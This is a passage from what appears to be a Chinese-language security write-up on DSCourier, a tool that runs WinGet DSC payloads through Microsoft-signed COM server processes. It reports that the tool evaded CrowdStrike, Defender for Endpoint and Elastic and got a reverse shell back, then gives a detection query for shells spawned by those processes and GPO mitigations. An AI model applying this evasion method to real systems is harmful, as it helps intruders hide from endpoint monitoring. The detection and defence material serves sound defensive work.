SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationStaticFunctions</span></code></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">添加用于创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationStaticFunctions</span></code><span leaf="">实例的方法</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终生成一组 DLL，供任意 .NET 应用程序通过 COM 调用 WinGet Configuration API。所有配套文件均为合法的 Microsoft 组件，只有我们的可执行文件 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DSCourier.exe</span></code><span leaf="">是自定义的。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">进程树结构</span></h2><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012198" data-ratio="1.2012882447665056" data-s="300,640" type="block" data-type="png" data-w="621" src="https://wechat2rss.xlab.app/img-proxy/?k=03f2e057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjecdBejrGQwbKIDqUjCvfpfEv3MJMamP7uzLoZYV0hs8355q8FDdwwibP2eCA3et5V4pzYqMAIPGgTxKw6ibeAGq7lu9cAulEQY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">DSCourier</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">传统 winget.exe 方式：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">cmd</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf=""><br/></span><span leaf=""> └── winget</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf=""> (configure -f payload</span><span style="color: rgb(111, 66, 193);"><span leaf="">.yaml</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">       └── ConfigurationRemotingServer</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf=""> [</span><span style="color: rgb(111, 66, 193);"><span leaf="">Microsoft-signed</span></span><span leaf="">]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">DSCourier COM API 方式：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">svchost</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf=""> (DCOMLaunch)</span><span leaf=""><br/></span><span leaf=""> └── WindowsPackageManagerServer</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf="">    [</span><span style="color: rgb(111, 66, 193);"><span leaf="">Microsoft-signed</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">       └── ConfigurationRemotingServer</span><span style="color: rgb(111, 66, 193);"><span leaf="">.exe</span></span><span leaf="">    [</span><span style="color: rgb(111, 66, 193);"><span leaf="">Microsoft-signed</span></span><span leaf="">]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DSCourier 所产生的进程树与合法的 WinGet COM 调用方所生成的进程树完全一致，且全程不产生 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">进程。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4677296886864085" data-s="300,640" data-type="png" data-w="1317" type="block" data-imgfileid="100012200" src="https://wechat2rss.xlab.app/img-proxy/?k=d8d9ddf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaRCPOqn6RAt0SFian7TicicIIR20ybJAHUicKmsJrqOtmVoaGcK3LchracyeT7Uj80HQRemibafvypwRF6T5La9Cryve080AkrrRAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">绕过 EDR 方案</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">基于 COM 的方式规避了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget.exe</span></code><span leaf="">的生成，执行过程全部在微软签名进程内完成，从而绕过了多种依赖进程树启发式分析和已知二进制遥测数据的企业级 EDR 方案。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CrowdStrike Falcon</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">DSCourier 在实际部署的 CrowdStrike Falcon 环境中完成了测试。载荷成功执行，未触发任何阻断或检测。Falcon 基于进程的遥测未将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">标记为恶意，反向 shell 成功回连。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Microsoft Defender for Endpoint (MDE)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该技术同样绕过了 </span><strong><span leaf="">Microsoft Defender for Endpoint</span></strong><span leaf="">。MDE 的默认检测规则以常见执行代理和 LOLBins 为目标，而 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">发起的 DSC 配置处理与现有行为特征不匹配，载荷因此得以在未被检测的情况下执行。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Elastic Security EDR</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">测试中，</span><strong><span leaf="">Elastic Security EDR</span></strong><span leaf="">同样被绕过。Elastic 针对 PowerShell 及基于脚本执行的检测规则通常绑定于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">powershell.exe</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cmd.exe</span></code><span leaf="">等解释器进程。COM API 方式完全规避了上述检测，因为执行链路为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">svchost.exe</span></code><span leaf="">→ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">→ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">，该链路不触发 Elastic 的默认检测规则。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御者需重点关注 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WindowsPackageManagerServer.exe</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由 DSC 执行组件派生的 shell 是最有力的单一检测指标。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">即使在纯 COM 路径下也会持续存在，且正常使用场景不会派生交互式 shell：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">event.category:process </span><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""> event.type:start </span><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""><br/></span><span leaf="">process.parent.name:(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;ConfigurationRemotingServer.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;WindowsPackageManagerServer.exe&#34;</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">and</span></span><span leaf=""><br/></span><span leaf="">process.name:(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;powershell.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;pwsh.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;cmd.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;wscript.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;cscript.exe&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">or</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;conhost.exe&#34;</span></span><span leaf="">)</span></code></pre><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5314814814814814" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012201" src="https://wechat2rss.xlab.app/img-proxy/?k=c62ca6bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiagX0HD9avHtpnpGQ2APh2LWzzawRomtJ2CuhHIndR2VgT8SMqsI2mDOEyMvSL9s4cAq9VDuy71ic5m4OYEHJEIHypiaFhjLd5MU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">EDR logs showing conhost.exe spawned as a child of ConfigurationRemotingServer.exe</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><em><span leaf="">注意：以上日志由上述反向 shell YAML 资源中的 shell 命令执行后生成。每当控制台应用程序启动时，Windows 均会附加 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">conhost.exe</span></code><span leaf="">，因此若其以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ConfigurationRemotingServer.exe</span></code><span leaf="">的子进程形式出现，本身即可作为 DSC 执行期间派生了 shell 的指标。</span></em></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御措施</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">完全禁用 WinGet：将 &#39;Enable App Installer&#39; 设置为 Disabled，可阻断所有 WinGet 功能性操作。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">GPO：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Computer Configuration → Administrative Templates → Windows Components → Desktop App Installer → Enable App Installer</span></code><span leaf="">→ 设置为 Disabled。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">禁用 WinGet 配置功能：禁用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winget configure</span></code><span leaf="">及底层 COM 配置接口，同时保留包安装功能。</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">GPO：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Computer Configuration → Administrative Templates → Windows Components → Desktop App Installer → Enable Windows Package Manager Configuration</span></code><span leaf="">→ 设置为 Disabled。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">受限语言模式 (CLM)、WDAC、AppLocker 等。</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 